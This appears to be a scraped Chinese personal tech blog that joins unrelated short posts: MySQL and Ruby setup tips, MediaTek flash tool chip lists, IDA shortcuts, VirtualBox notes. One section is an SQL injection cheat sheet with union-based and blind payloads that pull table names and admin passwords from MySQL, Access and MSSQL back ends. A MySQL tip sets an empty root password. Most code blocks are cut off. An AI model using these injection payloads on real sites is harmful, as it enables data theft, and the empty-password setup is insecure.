默认安装的MySQL数据库,无法远程连接。
登录MySQL之后,运行
| 1 | SELECT user,host from mysql.user; | 
如果只有一条记录,说明是这个原因。
将下面的脚本保存成user.sql,登录MySQL,运行:
| 1 | use mysql; | 
Notice: 会重置MySQL user表,并且将root用户密码设置为空。
脚本内容: 点这里直接下载
| 1 | SET FOREIGN_KEY_CHECKS=0; | 
默认安装的MySQL数据库,无法远程连接。
登录MySQL之后,运行
| 1 | SELECT user,host from mysql.user; | 
如果只有一条记录,说明是这个原因。
将下面的脚本保存成user.sql,登录MySQL,运行:
| 1 | use mysql; | 
Notice: 会重置MySQL user表,并且将root用户密码设置为空。
脚本内容: 点这里直接下载
| 1 | SET FOREIGN_KEY_CHECKS=0; | 
Python
先按F5,之后将下面的命令保存,再设置快捷键。
| 1 | cmd /k  c:\python27\python "$(FULL_CURRENT_PATH)" & PAUSE & EXIT | 
我使用的是Ctrl+F9
之后按Ctrl+s保存更改,再按Ctrl+F7即可快速在cmd中运行代码,方便调试。
Ruby
| 1 | cmd /k  C:\Ruby22-x64\bin\ruby "$(FULL_CURRENT_PATH)" & PAUSE & EXIT | 
使用Phantomjs访问网页并截图
| 1 | var page = require('webpage').create(); | 
example.png

Phantomjs已经接近废弃,如今推荐使用google的headless技术。
环境:
Windows 10
Python 2.7.10
0x01 安装PyQt4
在这个页面下载,注意选对版本。
https://riverbankcomputing.com/software/pyqt/download
我选择的版本是 PyQt4-4.11.4-gpl-Py2.7-Qt4.8.7-x64.exe
0x02 编写测试脚本
| 1 | import sys | 
如果成功运行并弹出一个空白的窗口,说明PyQt4已经安装上了。
0x03 使用PyQt4的QtWebKit实现解析Dom
待续。
| 1 | array = (1..10).to_a  | 
| 1 | length = array.length  | 
| 1 | length = array.length-1  | 
| 1 | for i in array do  | 
| 1 | array.each{x print x," "}  | 
| 1 | length = array.length  | 
| 1 | length = array.length  | 
| 1 | array.each_index do i  | 
| 1 | require 'mysql'   | 
| 1 | #!/bin/ruby | 
| 1 | require 'sqlite3' | 
服务端:
| 1 | require 'socket' | 
客户端:
| 1 | require 'socket' | 
rubygems.org上的gem文档访问起来太慢了,其实gem本身就自带doc的功能
安装gem的时候会默认安装相应gem的doc,如果不想占用空间安装doc,则gem install XXX –no-doc 即可。
使用下列命令可以启动gem自带的文档:
| 1 | gem server --port 1234 | 
然后访问 http://localhost:1234 就可以查看相关的gem文档。
| 1 | puts "\033[1m前景色\033[0m\n"   | 

Ruby json gem
    https://rubygems.global.ssl.fastly.net/gems/json-1.8.3.gem
树莓派wiringpi gpio包
    http://pi.gadgetoid.com/article/wiringpi-as-a-ruby-gem
参考自:http://rvm.io/rvm/install
首先添加gpg公钥:
| 1 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 | 
安装稳定版本的rvm
| 1 | curl -sSL https://get.rvm.io | bash -s stable --ruby | 
| 1 | ruby-2.3.3 - #compiling.......................................................................- | 
查看/usr/local/rvm/log/1488041042_ruby-2.3.3/make.log发现是openssl版本过老导致的。
| 1 | rvm pkg install openssl | 
第二步:编译安装ruby,指定openssl目录(我的是/usr/local/rvm/usr/)
| 1 | rvm install ruby-2.3.3 --with-openssl-dir=/usr/local/rvm/usr/ | 
现在没有淘宝源了,只有ruby-china源
| 1 | gem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/ | 
设置Bundler默认源为ruby-china:
| 1 | bundle config mirror.https://rubygems.org https://gems.ruby-china.org | 
这样修改以后,即使Gemfile中指定了Source,也会用国内的源。
SP_Flash_Tool-v3.1224.0.100
    MT6516,MT6573,MT6573,MT6575,MT6575,MT6577
SP_Flash_Tool-v3.1332.0.187
    MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6582,MT8135
SP_Flash_Tool-v3.1344.0.212
MT6516,MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6582,MT8135,MT6592,MT6571
SP_Flash_Tool-v5.1352.01
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT6592
SP-Flash-Tool-v5.1436.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752
SP-Flash-Tool-v5.1528.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570
SP-Flash-Tool-v5.1532.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,MT6755
SP_Flash_Tool_5.1343
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT6592
SP_Flash_Tool_5.1504
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753
SP_Flash_Tool_5.1520
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570
SP_Flash_Tool_5.1524.00
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570
SP_Flash_Tool_v5.1452
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753
SP_Flash_Tool_v5.1512
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570
SP_Flash_Tool_v5.1516
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570
SP_Flash_Tool_v5.1548
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737,MT6735M,MT6753,MT8163,MT8590,MT6580,MT6570,MT6755,MT6797
SP_Flash_Tool_v5.1552
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6797
SP_Flash_Tool_v5.1604
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797
SP_Flash_Tool_v5.1612
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757
SP_Flash_Tool_v5.1616_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507
SP_Flash_Tool_v5.1620_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,MT8160,MT0633
SP_Flash_Tool_v5.1624_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6798,MT0507,MT8167,MT0633
SP_Flash_Tool_v5.1628_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT7623,MT6580,MT6570,
MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT0507,MT8167,MT0633
SP_Flash_Tool_v5.1632_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT0507,MT8167,MT6570,MT0690
SP_Flash_Tool_v5.1636_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690
SP_Flash_Tool_v5.1640_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690
SP_Flash_Tool_v5.1644_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6798,MT8167,MT6570,MT0690
SP_Flash_Tool_v5.1648_Win
MT6573,MT6573,MT6575,MT6575,MT6577,MT6589,MT6572,MT6571,MT6582,MT8135,MT8127,MT6592,MT6595,MT6752,
MT2601,MT6795,MT8173,MT6735,MT6737T,MT6735M,MT6737M,MT6753,MT8163,MT8590,MT8521,MT7623,MT6580,
MT6570,MT6755,MT6750,MT6797,MT6757,MT6757D,ELBRUS,MT6799,MT6759,MT8167,MT8516,MT6570,MT6763
MYSQL篇
1.内置函数和变量 
| 1 | @@datadir,version(),database(),user(),load_file(),outfile() | 
2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:
| 1 | xxx.php?id=1 and 1=2 union select 1, | 
3.使用内建数据库查询表段和字段
查表段: 
| 1 | xxx.php?id=1 and 1=2 union select 1,2,table_name from  | 
查字段:
| 1 | xxx.php?id=1 and 1=2 union select 1,2,column_name from  | 
这里可以再结合下concat的拼接功能
| 1 | xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20)  | 
Access篇
猜表名
| 1 | *.asp?id=1 and exists (select * from admin) | 
猜列名
| 1 | *.asp?id=1 and exists (select password from admin) | 
Order by查询
| 1 | *.asp?id=1 order by 3 | 
union 查询
| 1 | *.asp?id=1 union select 1,password,3 from admin | 
不支持union的情况
先判断内容的长度
| 1 | *.asp?id=132 and (select top 1 len(user) from admin) >5 | 
然后一个一个猜
| 1 | *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97 | 
例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜
| 1 | *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97 | 
以此类推
MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL
| 1 | 'and exists (select * from sysobjects) -- | 
如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。
猜表名:
| 1 | 'and exists(select * from admin)-- | 
如果存在,会返回正常页面,否则报错,就是不存在。
VC
| 1 | #include <stdio.h> | 
GCC
| 1 | #include <stdio.h> | 
| 快捷键 | 作用 | 
|---|---|
| Alt+T | 搜索文本 | 
| Ctrl+1 | Quick View导航 | 
| 空格键 | 图形视图/汇编视图切换 | 
| Shift+F3 | 切换到Functions窗口 | 
| Shift+F4 | 切换到Names窗口 | 
| Shift+F7 | 切换到Segments窗口 | 
| Shift+F12 | 切换到Strings窗口 | 
| IDA View内 | |
| Ctrl+Enter | 前进(函数调用) | 
| Esc | 后退(函数调用) | 
 
VmWare默认的镜像格式是.vmdk格式的,VirtualBox则默认是.vdi格式的。其实这在VirtualBox新建虚拟机的过程中是可选的。
导入.vmdk格式的镜像到VirtualBox只需要新建一个虚拟机,并且不创建虚拟硬盘。如下图:
 
无视警告,继续:
 
创建好之后,在设置里面把.vmdk格式的虚拟硬盘添加进去:
 
 
 
这样就可以了。
如果遇到windows虚拟机起不开的情况,尝试更改下下面这个选项,启用I/O APIC试试。
 
    
    Update your browser to view this website correctly. Update my browser now